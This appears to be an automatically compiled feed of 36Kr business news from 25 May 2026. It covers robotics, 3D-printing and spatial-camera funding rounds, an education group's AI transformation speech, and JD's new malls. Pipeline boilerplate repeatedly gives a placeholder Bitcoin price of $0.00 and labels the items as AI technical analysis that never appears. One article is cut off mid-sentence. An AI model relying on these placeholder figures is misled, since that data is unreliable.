36氪获悉，据天机机器人官微，近日，广东天机智能系统有限公司正式完成10亿元B轮及B+轮融资，投后估值近百亿，跻身独角兽行列。本轮融资由高瓴创投、美团战投联合领投，腾讯、高榕创投、光合创投、纪源资本等联合跟投，高鹄资本担任独家财务顾问。本轮融资将主要用于技术研发、大规模量产，及全球销售网络建设。 “蓝点触控”完成C++轮数亿元人民币融资 36氪获悉，近日，六维力传感器企业“蓝点触控”宣布完成C++轮数亿元人民币融资，本轮由上汽金控、尚颀资本领投，由中芯聚源、正大机器人以及厚为资本跟投。本轮融资将主要用于新产品研发、生产数智化建设以及全球市场拓展。 “黑格科技”完成超3亿元人民币C轮融资 36氪获悉，“黑格科技”于近期完成超3亿元人民币C轮融资。本轮融资由君联资本、达晨联合领投，歌斐资产、国科投资跟投。本轮资金用途将用于光固化技术研发迭代、全球产业链深化、顶尖人才引进及新一代数字化齿科解决方案、桌面级光固化全彩造物产品的发布。今日观点：马斯克称未来星链将承载大部分网络流量，星链就是互联网马斯克周日表示，如果SpaceX的星链卫星网络继续发展，最终可能会承载大部分互联网流量，并描绘了该系统成为在线连接主要骨干网的未来图景。马斯克在X上回应了一篇引用SpaceX文件细节的帖子，该文件显示星链 V3卫星的下行链路容量将大幅提升，从V2的每颗卫星96Gbps提升至1024Gbps。其他值得关注的新闻：新加坡寻求将富人开户时间缩短至一个月随着新加坡作为财富管理中心的重要性上升，该国金融监管机构正与私人银行合作，以使用一种“风险适配”方法缩短开户时间。新加坡金融管理局局长谢啇真在新加坡举行的瑞银亚洲投资大会上表示，该机构希望将周期从目前中值六周左右（复杂案例需更长时间），缩短至一个月以内。谢啇真周一称，此举旨在确保银行避免对客户的财富来源进行不必要和过度的审查，同时坚持高标准。谢啇真称，金管局周一向金融机构发布了一份通函，就最新方法提供了更多指导。他还表示，业界将推出案例研究，并培训银行员工和合规专业人员。到2030年底全国城市生活垃圾资源化利用率力争达到76%以上记者25日从住房城乡建设部了解到，到2030年底，全国城市生活垃圾资源化利用率将力争达到76%以上。神舟二十三号航天员乘组顺利进驻“天宫”，中国航天员完成第8次“太空会师” 据中国载人航天工程办公室消息，在载人飞船与空间站组合体成功交会对接后，神舟二十三号航天员乘组从飞船返回舱顺利进入轨道舱。北京时间2026年5月25日5时13分，在轨执行任务的神舟二十一号航天员乘组打开“家门”，欢迎远道而来的神舟二十三号航天员乘组入驻中国空间站，这是中国航天史上第8次“太空会师”，也是“天宫”首次有来自香港的航天员进驻。随后，两个航天员乘组拍下“全家福”，共同向牵挂他们的全国人民报平安。后续，两个航天员乘组将在空间站进行在轨轮换。

文章来源

标题: 氪星晚报｜全国首单挂钩蓝色债券合约类信用衍生品交易落地山东；到2030年底全国城市生活垃圾资源化利用率力争达到76%以上；新加坡寻求将富人开户时间缩短至一个月
来源: ai
链接: https://36kr.com/p/3824439681520002?f=rss
时间: 2026-05-25 16:24:54 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3824439681520002?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-25T09:00:17.496801+00:00

用AI重构增长：新通教育集团的实践| 2026AI Partner·北京亦庄AI+产业大会

Mon, 25 May 2026 09:00:14 +0000

原文摘要

新通教育创始人麻亚炜坦诚分享了过去五年的转型历程——从数字化基建到全员AI Must，从AI in All到AI Native新业务。她的实践证明：传统企业拥抱AI，最难的不是技术，而是让战略从董事会走到一线。

麻亚炜将AI转型划分为四个递进阶段：第一阶段（2021-2022）：数字化基建完成底层数据与系统架构的夯实，为AI应用奠定坚实基础。第二阶段（2023-2024）：AI Must 战略落地通过全员公开课普及认知、孵化标杆小组树立典范、赴哈佛与斯坦福验证产品，将AI从"命令"转化为"共识"。第三阶段（2025）：AI in All 深度嵌入将AI融入所有关键业务流程，构建覆盖全链路的"AI全家桶"与数字员工体系，实现效率与体验的双重跃升。第四阶段（2026）：AI Native 原生创新以AI原生思维开辟全新业务赛道，完成从"工具赋能"到"基因重塑"的质变。核心启示：真正的AI转型，不是技术的堆砌，而是组织共识的构建与战略意志的穿透。以下为演讲内容，经36氪整理编辑：

麻亚炜丨新通教育集团创始人&董事长大家下午好，非常高兴受36氪的邀请，在这里跟大家分享我们作为一家教育集团，在传统教育赛道上如何用AI重构增长。这是我第一次来到36氪的现场，跟过往的分享场景不太一样，今天看到了非常多的创业者。在创业者角色上会有两种非常明显的差别：第一种，你可能结束了商业模式，结束了你的公司，把它变成一笔钱，拿上钱和资源去重新面对AGI挑战，重新开始新的生意或者探索新的赛道。第二种，我们既是企业的创始人，在面对AGI挑战、需要做新的增长的同时，身上依然有比较大的负担——在过去十年、二十年甚至更长的时间里，伴随中国经济增长过程，积累着传统资源、传统产品、传统团队、传统组织。这是大部分创业者或者持续成功的创业者一定会碰到的问题，大概率不会一件事结束后你才开始另一件事。今天的主题是“用AI重构增长”，希望跟大家分享两个部分的内容：第一，如果你和我一样，有传统业务依然在持续运营中谋求更高效率的增长，我们可以怎样做；第二，我们同时不想放弃在新的增长部分用AI Native的方式去做，或许可以用什么样的探索方式。这是想跟大家分享的两块内容。 36氪聚集了大量高科技、科技企业，新通教育并不是大家非常熟悉的名字。今年是新通教育成立30周年，过去30年我们主要做一件事，围绕中国中高净值人群的国际化成长道路，延伸出升学规划、就业规划、海外国际课程引进等等。2021年开始，面对新的技术浪潮逐步来临，我们是这个行业比较早进入组织数字化转型的，也因此才有机会在36氪的场合跟大家分享我们过去探索的成果。换一个角度看新通教育集团，我们是相对庞大的组织，目前在全国和全球一共有30多家分子公司，2000多名员工。对于一个组织面对AGI浪潮时，要追求增长，首先的前提并不是就增长讲增长，甚至不是就产品做探索，而是组织文化的变革。我今天的分享也是从这里开始的。开始之前，先说说过去几年探索获得了什么成果。第一，在人数不增加甚至减少的情况下实现了营收和人效的增长；第二，2025年真正实现第二条增长曲线的探索，形成了一定营收规模，也得到了市场验证；第三，2025年我们获得了哈佛商业评论年度卓越企业数字化转型大奖，跟我们比肩的是像商汤、菜鸟这样更科技化的公司，而不是传统赛道上的企业。今年5月份，我们参加了由教育部组织的2026世界数字教育大会，有三款产品——躺着学雅思、HSK中文出海、来华留学——入选了2026世界数字教育大会的成果展示。这是我们在过去几年获得的成果。如果把这些成果做回头看的归纳，一个相对大型组织的变革是生长的过程，我们把新通教育集团数字化转型以及从去年开始AI+教育部分做出的阶段性成果回溯来看，经历了几个阶段：一、2021年到2022年，花了两年的时间完成了数字化基建工作；二、2023到2024年，全组织内部推行战略AI Must，必须要有AI，AI必用；三、2025年把AI嵌入所有关键组织流程；到今年开展新业务的时候，不是把AI嵌入到流程当中，而是用AI Native的方式构建新的流程。经历了这四个阶段，2026年赛程还没有过半，还需要用更多时间验证我们在组织战略到最终营收增长方面取得了什么样的结果。对于大部分传统企业，如果不是科技行业，数字化基建是如何建设的？简单过一下，我们把数字化本身烟囱式、坑坑洼洼的省道变成搭建AGI的高速路，这是最初期的工作。初期工作之后，更重要的工作在2023到2024年完成。今天坐在这里有非常多的创始人，对创始人来说，面向未来的趋势探索，下定一个决心、找到一个方向并没有那么难，难的是如何让你的决策、战略，从董事会落地到一线，这是大家的挑战。在这个部分新通教育集团做了几件事，在座如果也有从传统赛道拥抱AGI的过程，或许可以做些参考。第一个，引进了外脑对整个组织进行诊断、评价和开启；第二个，鼓励全员开讲，传统业务上但凡用过AI的同学，都可以把他的经历分享给组织当中的其他成员；第三个，在组织中孵化标杆小组做全AI托管产品的试点；第四个，带着我们的产品去到哈佛、斯坦福，在教育、科技最前沿的地方去碰撞，看看我们的产品是不是对的方向，是否有足够的竞争力。这是在2023到2024年做的大量看起来非常基础的工作，让AI Must的公开课在全集团几千名员工中逐步渗透，让大家看到AI战略并不是自上而下的命令，同时也是身边同事最真实的感受。2023年当我们躺着学雅思——这个全AI托管的语言学习产品还没有诞生的时候，把产品雏形带到了哈佛和斯坦福，我们得到的最大的感受并不是胆怯、威胁，而是更大的确信：当新通教育集团有了几十年语言学习数据积累的时候，我们在这些垂类产品的开发和应用上，是有非常独到的优势的。到了2025年，我们就把战略组织转型到AI in All，AI必须嵌入组织的关键流程。这张图上是我们今天所有新通教育集团同事非常熟悉的AI全家桶，他们有自己的AI伙伴、各种各样的数字员工，也有自己的智能工具和智能平台。我们很多同事，当碰到一个问题需要解决的时候，本能的想法并不是如何做，而会想到如何让AI来做，这是非常重要的转型。我们构建出以智能为中心的全链路服务系统，回溯今天讲的从AI基建到AI Must、AI in All的过程，整个传统组织尤其是大规模的传统组织，在AI战略落地过程中会有三个非常重要的挑战。第一如何解决一线员工、普通员工无感的问题，让战略从董事会走到一线员工，并且能够接受、推行。我个体的感受，靠命令、说教甚至是简单激励工具是无法解决无感问题的，要让员工有感，还是要有更精心的设计。当我们做公开课的时候，外请的大脑常常只做开题报告，更多的分享来自于一线员工，让员工可以看到门槛，在AI的加持下，既有知识平权也有技术平权，这个过程非常顺畅地解决了从董事会到一线员工的问题。第二在组织中孵化自己的种子选手，让种子选手有代入感和参与感。当我们用AI重新改造核心场景的时候，核心场景的选择从哪里入手？选择标准：第一，选择人数最多的场景；第二，选择耗时最长的场景；第三，选择

文章来源

标题: 用AI重构增长：新通教育集团的实践| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3824164325412992?f=rss
时间: 2026-05-25 16:54:18 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3824164325412992?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-25T09:00:14.808454+00:00

36氪首发 | 3D打印齿科龙头要切入桌面全彩造物，获君联、达晨等3亿+融资

Mon, 25 May 2026 06:00:19 +0000

原文摘要

作者 | 张子怡编辑 | 袁斯来硬氪获悉，3D打印高端光固化全栈技术企业、齿科细分龙头——黑格科技（HeyGears）于近期完成超3亿元人民币C轮融资。本轮融资由君联资本、达晨联合领投，歌斐资产、国科投资跟投。本轮资金用途将用于光固化技术研发迭代、全球产业链深化、顶尖人才引进及新一代数字化齿科解决方案、桌面级光固化全彩造物产品的发布。黑格科技的齿科业务始于2018年，依托耗材体系和DLP技术的全产业链国产攻坚，后推出光固化产品线UltraCraft及齿科数字化解决方案，已成为全球细分龙头。目前，黑格科技齿科业务全球化布局成效显著，海外营收占比已突破总营收60%，是中国齿科3D打印北美出海市占率榜首企业，欧洲市场业务增速超过100%；国内齿科技工端市占率超60%，位居首位。 “很多创新都是被现实倒逼出来的。黑格创立的时候，光固化高端技术/特种材料基本都被国外垄断，设备组装、技术拼接很难达到齿科精度，更无法盈利，唯有走深度整合之路才能破局。我们从一开始就走了最难的一条路，通过全技术栈自研、打破行业黑盒，把材料体系吃透，在此之上搭建更多元灵活的解决方案，这也构成了黑格在光固化领域的核心竞争力。”黑格科技创始人兼CEO桂培炎告诉硬氪。创立11年来，作为国内少数具备全栈自研能力和全产业链解决方案能力的3D打印技术龙头，黑格科技业务范围已跨越基本盘齿科，延伸至先进制造、具身智能、消费电子等新质生产力领域。在多年技术和产业链能力搭建完备后，黑格科技开始着手推动高端光固化技术的场景及人群下放普惠。硬氪了解到，黑格科技于2025年推出了搭载自研第二代LCD技术的Reflex 2及Reflex 2Pro产品线，配合自研材料体系，为鞋履工作室、小型农场主、专业级创客提供桌面级生产力工具，交付效果基本可对标DLP设备。黑格科技表示，其真全彩、真3D消费级产品线计划于2026年第三季度面世，定位新一代桌面级全彩造物工具，希望可以通过自主技术研发，解决光固化消费级下放“易用性”、“高成本”等痛点。截至目前，黑格科技累计研发投入已超10亿元，其自研材料业务营收占比已达总营收70%左右，在规模效应的加持下，每一台设备的出售，都是一条材料长期现金流的开端。公司希望持续在光固化技术领域深耕，让高端3D打印技术覆盖从齿科医疗走向小型工厂、造物工坊、个人创客，满足更多场景和人群的“一站式造物”需求。 CEO对谈硬氪：目前市场上消费级3D打印多以FDM技术为主，光固化技术做消费级产品时的技术难点和卡点在哪里？桂培炎：从国内主流的DLP和LCD技术来说，想把它在消费级的门槛降低，短期内很难。因为光固化涉及液态树脂的处理和管理，耗材处理的难度远远大于FDM对于线材这种固体的处理。其次，光固化打印是化学变化，在家庭等消费级场景中，把化学变化变得可控本身就很难。所以，我们需要通过颠覆式创新去自研新的光固化技术，让它既具备FDM级别的易用性、安全性，又具备光固化特有的表面质量、超高精度，再配合大家渴求的真全彩、真3D能力，这样才有可能真正撬动大众maker、小创业者和一部分家庭的消费级场景。硬氪：在齿科B端和未来的消费级/小B端市场，黑格科技的核心竞争优势是什么？桂培炎：齿科的话，核心优势在于绝对的精度、稳定性和设备+材料+服务解决方案带来的高黏性。我们不是一锤子卖设备的模式，而是以交付结果倒推全周期解决方案。齿科对精度要求非常苛刻，都是微米级别的讨论。如果做得不好，客户的返工率到达百分之十几（这是真实的数据），而黑格的数据能控制在3%到5%。这近10%的返工率差异相当于是生产客户的生死线。而在消费级或小B端，我们坚信高端光固化技术下放是满足用户实现“10到100”小规模批量成品制造的解决方案。像我们的Reflex系列推向消费级用户时，不只是卖设备，而是给出一整套包含材料、设计指引甚至自研图层（coating）的端到端解决方案，让哪怕是个人创客，也能做出商品级成品，再去变现做小生意。另外三季度的新品大家可以期待一下，也是另一个竞争优势，它解决了光固化下放的很多技术卡点。投资人观点：君联资本：黑格迎难而上，专注高端光固化3D打印领域，利用数字光刀提升光固化3D打印向更高精度、更多材料创新、更低成本突破边界，以推动整个光固化技术在精密制造场景的渗透，这才是新质生产力要做的事。我们也相信在这个时代黑格的聚焦与坚持，会铸造更长期的壁垒。达晨：3D打印正加速从“原型工具”跨越为“生产力工具”。黑格在齿科领域推动了“从单材料到多材料、从中间品到成品”的价值跃升，并在消费端受益于降本与AI赋能加速渗透。公司长期坚持全栈自研，核心壁垒深厚，多材料与全彩3D打印等革命性技术爆发在即。歌斐资产：黑格在齿科赛道彰显出了卓越的全球化出海能力，其光固化产品也在消费市场获得了高度认可。未来，伴随公司在AI和控制算法领域的持续投入，全彩打印技术有望迎来爆发，实现B端与C端的双向驱动。国科投资：黑格的领先优势源于将设备、材料、算法与应用深度耦合的开发思路。公司打通了齿科从设计到生产的全链条服务，已全面覆盖国内外头部技工厂；在消费端，黑格通过将工业级技术降维应用，逐步拓宽了消费级3D打印的上限。随着齿科数字化及全彩3D打印需求的释放，公司前景广阔。

文章来源

标题: 36氪首发 | 3D打印齿科龙头要切入桌面全彩造物，获君联、达晨等3亿+融资
来源: ai
链接: https://36kr.com/p/3824073646624899?f=rss
时间: 2026-05-25 10:09:23 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3824073646624899?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-25T06:00:19.086748+00:00

机器人力传感器龙头再获数亿融资，上汽、中芯等抢先入局

Mon, 25 May 2026 06:00:19 +0000

原文摘要

硬氪获悉，近日，六维力传感器企业蓝点触控宣布完成C++轮数亿元人民币融资，本轮由上汽金控、尚颀资本领投，由中芯聚源、正大机器人以及厚为资本跟投。本轮融资将主要用于新产品研发、生产数智化建设以及全球市场拓展。蓝点触控半年完成了三轮亿元级融资，此次融资距上一轮C+轮融资仅一个月。股东阵容目前已囊括红杉中国、宁德时代旗下溥泉资本、智元机器人、银河通用、上汽系资本、中芯产业资本等多路力量。本轮融资投资方在产业链方向的纵深值得关注。上汽系资本（上汽金控、尚颀资本）代表汽车制造场景，中芯聚源代表半导体高端制造，厚为资本则带来广泛的消费和媒体生态资源——三者与上一轮入股的宁德时代（动力电池）及智元机器人、银河通用（整机龙头）形成了从核心零部件到终端应用的全链条覆盖。这意味着，蓝点触控的力控传感器将率先批量部署于汽车、新能源电池等工业生产场景。产业资本不仅带来资金，更带来确定性的量产订单与应用场景。蓝点触控创始人刘吴月曾就职于航天科技集团，核心团队来自中科大、航天科技集团、中科院等科研院所，并由北航机器人所名誉所长王田苗教授担任董事。其核心产品为六维力传感器和关节力矩传感器，有着0.1%FS精度、10kHz以上响应频率、500%抗过载能力，达到国际顶尖水平，打破了海外厂商长达数十年的技术垄断。当机器人厂商还在追逐越来越大的AI大模型参数时，给机器人装上更精细的“神经系统”已经成为新一轮融资的主旋律。2026年以来，具身智能领域融资总额已超过345亿元，资本正从整机向核心零部件领域深度渗透。

蓝点触控六维传感器已应用到核心产品蓝点触控的航天级技术路径目前也已被成功迁移至人形机器人。以当前加速量产的人形机器人为例，单台需搭载4颗六维力传感器和28颗关节扭矩传感器——六维力传感器分布于手腕与脚踝，分别负责精密力控与动态平衡；关节扭矩传感器则遍布全身，实现柔顺力控并补偿关节间隙误差。不久前，半马赛场上刷新人类记录的机器人即安装了蓝点触控力控传感器，其感知网络的毫秒级姿态反馈实现超长距离奔跑不摔倒。其在人形机器人中的市场优势也在不断扩大，睿工业MIR《2025年中国人形机器人六维力传感器市场调研报告书》显示，蓝点触控2024年市占率约为62%；而到了2025年，据高工机器人《GGII：2025中国人形机器人六维力传感器市场分析报告》，蓝点触控2025年市场份额已达72.6%，稳居行业第一。目前，蓝点触控关节力传感器出货量占国内95%以上，公司连续三年收入翻倍并实现盈利，已成为国内机器人力传感器领域绝对龙头。

核心产品体系在产能端，蓝点触控已在广东建成超万平方米自有生产基地，当前具备关节力传感器年产100万套、末端六维力传感器年产20万套的交付能力。这一产能布局精准卡位2026年之后机器人批量订单的释放节奏，为下游整机厂的大规模量产提供了关键零部件的供应链保障。下一步，蓝点触控将把更多精力投入到下一代高精度、高集成度力控传感器的研发，以及海外市场开拓，实现全球机器人力传感器蓝点造、让力控机器人赋能千行百业的目标。投资人观点：上汽金控、尚颀资本投资团队表示：蓝点触控的六维力传感器在精度、响应速度和可靠性上已达到领先水平，我们看好其赋能汽车工厂智能制造升级的广阔前景。中芯聚源投资负责人表示：力传感器是机器人与物理世界交互的核心节点。蓝点触控具备从弹性体设计、硬件电路到结构解耦算法的全栈自研能力，与中芯聚源在半导体高端制造领域的布局高度协同。我们期待双方在机器人时代强强联手，实现共赢。正大机器人项目负责人表示：具身智能的进化离不开精准的力觉反馈。蓝点触控的力控技术填补了机器人从“看见”到“触到”的关键空白。正大机器人深度布局具身智能在内的前沿科技领域，我们相信，六维力传感器将成为下一代智能机器人的标配，我们期待与蓝点触控携手，用精准的力觉反馈打通机器人柔性作业的“最后一厘米”。

文章来源

标题: 机器人力传感器龙头再获数亿融资，上汽、中芯等抢先入局
来源: ai
链接: https://36kr.com/p/3824053061652616?f=rss
时间: 2026-05-25 09:50:58 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3824053061652616?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-25T06:00:19.772026+00:00

36氪首发 | 商汤国香投了一家消费级空间相机公司，为具身智能采集真实世界数据

Mon, 25 May 2026 06:00:18 +0000

原文摘要

作者丨欧雪编辑丨袁斯来硬氪获悉，消费级空间相机公司竹马创新近日完成了数千万天使+轮融资，本轮由商汤国香资本领投，鼎晖VGC、峰瑞资本跟投，深渡资本担任后续独家财务顾问。资金将主要用于产品研发、量产准备及海外市场拓展。竹马创新成立于2025年11月，是一家以Camera + AI为核心的空间智能公司。公司希望定义一种新的AI硬件品类——空间相机：既是消费级3D内容创作工具，更是面向具身智能与世界模型的真实世界三维数据入口。团队方面，创始人张吉曾任群核科技副总裁，深度参与大规模空间数据处理与商业化；首席科学家过洁为南京大学长聘副教授、3DGS和空间仿真领域顶尖科学家；团队具备从三维数据采集到云端计算、从算法到硬件的全栈能力。据张吉介绍，公司首款产品Pebble，将3D Gaussian Splatting、多传感器融合、端云协同与AI原生交互封装进一台消费级设备，让用户像拍视频一样捕获真实三维世界，实现“所见即所扫、所扫即所得”。目前，产品仍在研发阶段，尚未量产。随着具身智能与VLA大模型的兴起，行业对真实世界三维数据的需求正在发生结构性变化。过去，机器人训练严重依赖遥操作数据，成本高、难以规模化。越来越多观点认为，第一视角人类视频、空间传感器数据、真实环境中的连续行为数据，将成为模型训练的新“主食”。这正是竹马创新的核心定位：通过空间相机采集带有第一视角、三维结构、语义信息和真实尺度的数据，成为机器人时代的数据采集基础设施。这类数据可用于构建更真实的空间世界模型，帮助机器人理解环境布局、物体关系与任务上下文，也可反哺具身智能仿真与实时空间感知训练。以下为硬氪与张吉的对话节选：硬氪：本轮引入商汤和鼎晖，对公司的产业布局有何助力？张吉：我们目前看到了两个明确的机会窗口：一是3DGS技术正在从实验室走向消费级应用，二是具身智能行业对真实空间数据的需求爆发在即。商汤和鼎晖的进入不是单纯的财务投资。商汤在AI领域有很强的人才和算法积累，我们在空间智能重建方面的能力可以形成强强联合。鼎晖在机器人领域布局很深，他们希望我们作为空间智能基础设施，与更多机器人公司产生连接。这两个投资人都能与公司形成非常强的互补关系，这是我们最看重的。硬氪：消费级三维重建市场过去一直没有真正跑通，你们判断拐点到了吗？张吉：我们的判断比之前更乐观。上一轮融资发布后，大量不同行业的人来找我们交流，提出了很多真实需求。之前大家没有意识到三维重建可以这样做，现在认知明显在变化。另外，工业级三维设备企业意识到了市场的存在，但还没有选择直接下场竞争，很多在和我们探讨深入合作的可能性。还有一些初创团队目前刚刚开始进入。虽然有竞争压力，但我认为更多人进来必然有利于消费级市场的快速发展。当前行业真正的比拼是速度和技术扎实程度——谁能先把产品定义清晰、把用户体验跑通，谁就能占据先发优势。我们每个月都有明显的产品进展，这个节奏很重要。硬氪：公司未来在具身智能生态中扮演什么角色？张吉：我们的核心战略没有变化，仍然是面向空间设计师等专业人群和消费级用户，基于空间智能与空间计算的能力，提供消费级的空间相机，。但在这个过程中，我们自然沉淀出了具身智能行业非常稀缺的东西——真实物理世界的三维数据。目前具身智能公司大多在用仿真环境训练，数据合成后真实性大打折扣。我们采集的是photoreal的真实空间数据，带有三维结构、语义信息和物理正确性，对他们来说是很好的基础设施。这不是我们刻意规划的第二曲线，而是在完成主业过程中自然形成的技术栈外溢。所以我们不会在产品层面去做具身智能，但会在技术研究层面做一些布局和开放。投资方观点：商汤国香合伙人余俊表示：物理世界的可计算、可理解、可编辑是未来应用发展的基础和底座，每一个个体也都将成为这个基座的贡献者和使用者。张总的团队特别适合为用户提供扎实的可入手和可上手的极致产品方案，团队对早期用户群也有特别深刻理解和熟知。期待竹马成为感知和计算“4D世界”的Insta360。鼎晖VGC副总裁牟刘杉表示：物理与数字世界的融合是不可逆的趋势，3DGS相机正是连接两者的桥梁。当前，3DGS技术突破与激光雷达成本断崖式下降带来了3DGS相机高速发展的市场拐点，竹马团队凭借敏锐的眼光和深厚的积累在正确的时间以精准的产品定义切入市场，未来还可向上可生长为具身智能的数据基础设施并有着更多可能性。我们期待与竹马团队一起，见证真实世界被重新捕获和理解的未来。峰瑞资本合伙人马睿表示：祝贺公司在短短一个月时间里完成新融资，峰瑞持续追加是因为非常看好创始人张吉和团队执行力，期待竹马拿出消费级空间相机，并成为世界模型的新数据入口。

文章来源

标题: 36氪首发 | 商汤国香投了一家消费级空间相机公司，为具身智能采集真实世界数据
来源: ai
链接: https://36kr.com/p/3824089662853513?f=rss
时间: 2026-05-25 10:25:26 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3824089662853513?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-25T06:00:18.200459+00:00

京东加码商业地产，推出更高级大MALL

Mon, 25 May 2026 06:00:17 +0000

原文摘要

今年4月，京东开启“扫货式”拿地。 4月20日，京东花6.63亿竞得杭州钱江世纪城沿江商业用地；4月21日，京东在北京亦庄又花了17.57亿，拿下亦庄新城2宗商业金融用地；4月10日、11日，京东还在宿迁接连拿下两个地块，总价约3.69亿，总建筑面积高达57.2万平方米。单月斥资27.89亿元加仓。就在很多人以为京东还是在玩老一套的时候，5月22日，京东官宣加码商业地产，推出了比京东MALL更高一级的产品：JD SPACE京东天地。

JD SPACE京东天地效果图图源：京东官微从官方信息来看，JD SPACE京东天地未来引入的消费业态不止是家电、家装和京东七鲜混合体，它越来越接近于一个真正的购物中心——JD SPACE京东天地集合了京东自营的家居卖场、美妆集合店、京东户外运动集合店、图书之外，还将引入外部的品牌概念店、旗舰店等特色首店，实现“高效而有质感”的都市生活方式。这是一个非常明显的信号：京东要打传统购物中心的主意了，用线上流量和招商优势打线下。更让传统商业地产玩家羡慕的是京东的拿地价格：4月21日拿下的北京亦庄地块，建面23.32万㎡，相当于楼面价只有7534元/㎡。前一天的杭州钱江世纪城商业地块，楼面价更低，只有约5603元/㎡。作为对比，7年前龙湖在亦庄竞得的商业用地，地价约11413元/㎡，比京东的价格高了51%。可以说，京东做商业，地方上直接给了建科创总部的地价待遇。这样的土地红利，成为京东做线下商场的巨大优势。 01 近几年房地产市场不行，房企拿地劲头下降，但字节、京东、腾讯、阿里等互联网大厂却纷纷下场买地。其中，京东是拿地最“杂”的大厂，没有之一。据不完全统计，2022年以来，京东在北京、杭州、深圳、南京、宿迁五个城市至少8次拿地。此外，去年底，京东还在香港斥资34.73亿港元收购中环建行大厦部分楼层。四年内京东买地、买楼合计花费超130亿元。京东拿下的地块属性包括了办公、商业、住宅、物流、科研用地等多种。“吃下”各种地块，表明了京东在线下商业方面的野心。京东线下商业的既有布局包括：京东MALL、京东电器城市旗舰店、七鲜超市与京东折扣超市、京东养车，形成“大型体验式MALL+区域家电旗舰店+社区3C/生鲜店+生活服务网点”四个层次的线下商业体系。这也构成了一个密集的线下消费网络，包括： 1、27家京东 MALL，覆盖全国核心城市，2025年618整体销售额同比翻倍； 2、110多家京东电器城市旗舰店，下沉到二线及以下城市； 3、4500多家3C数码门店，深入社区毛细血管； 4、4000多家京东养车门店，占领汽车后市场； 5、70家七鲜超市和9家京东折扣超市，布局生鲜和社区零售。现在京东的线下商业只差最后一块拼图：大型复合商业空间，即真正的购物中心。从官方信息来看，京东对JD SPACE的落地非常迫切。京东已经预告，首个JD SPACE将会落地在宿迁，之后是北京、深圳、上海。宿迁、北京这两个JD SPACE的项目，是在今年4月刚刚拿到的土地，今年9月起将陆续开业——5个月开发建设、招商开业，比开发商的速度还快。据说，为了给商业地产布局加速，京东从去年开始就在地产圈开出百万年薪“挖人”，给商业地产业务储备人才。其中，分管宿迁项目的就是有着旭辉、万达、龙湖背景的地产人——王文进。 02 京东对JD SPACE的定位是“零售体验+文化体验+社交场景”的综合载体，是体验京东自营生态和品牌生态的线下一站式品质消费空间。但在首批JD SPACE的选址上，京东的选择是：贴近京东总部和产业园，以京东员工为原点辐射周边社区与城市人群。比如，北京亦庄JD SPACE，京东已经公布了商场沙盘。其布局在6号园区和7号园区，与京东青年城（公寓）、附近的京东总部连成一片，组成了一个工作、休息、购物的闭环生活圈。宿迁JD SPACE，建在京东智慧城旁边；深圳和上海的门店，也都选址在京东区域总部周边。这一选址逻辑，直接把京东和附近大厂员工当作种子用户，被网友戏称为：“京东挣钱京东花。可谓是“把算盘打到家里了”。

图源：网络传统购物中心最大的痛点是客流不确定性。为了吸引客流，开发商要花巨资做营销、搞活动，不断更新入驻品牌。而京东的选址逻辑，直接解决了这个最大的痛点。以北京亦庄JD SPACE为例。亦庄总部集群有超过10万京东员工，京东青年城有4000套员工公寓，加上周边的奔驰、小米、中芯国际等企业员工，以及附近几十个住宅小区的居民，仅3公里范围内就有超过30万常住人口。这些人大多是25-40岁的年轻白领，消费能力强、逛街时间少，只能就近消费，这些人正是JD SPACE京东天地的目标客群。有拿地成本优势，有客源基础，目前JD SPACE面临的最大问题就是它“好不好逛”。 JD SPACE的业态虽然比京东MALL丰富，但仍然以零售为主，餐饮、娱乐、文化等体验式业态的比例相对较低。而现在的年轻人去购物中心，更多是为了吃饭、看电影、社交，而不是为了购物。如果它不能在体验式业态上有所突破，很容易陷入“只是一个更大的京东 MALL”的尴尬境地。从官宣来看，京东是知道这一点的。京东一再强调，JD SPACE有更多文化艺术体验和轻社交的消费场景。

JD SPACE京东天地效果图图源：京东官微

JD SPACE京东天地效果图图源：京东官微本文来自微信公众号“未来可栖”，作者：小屋见大屋，36氪经授权发布。

文章来源

标题: 京东加码商业地产，推出更高级大MALL
来源: ai
链接: https://36kr.com/p/3824126842179969?f=rss
时间: 2026-05-25 11:05:13 +0800

核心内容

JD SPACE京东天地效果图图源：京东官微

JD SPACE京东天地效果图图源：京东官微本文来自微信公众号“未来可栖”，作者：小屋见大屋，36氪经授权发布。

内容来源：ai 原文链接：https://36kr.com/p/3824126842179969?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-25T06:00:17.354803+00:00

对话欧洲地图商TomTom：中国订单暴涨10倍，帮助中国辅助驾驶出海｜最前线

Mon, 25 May 2026 06:00:15 +0000

原文摘要

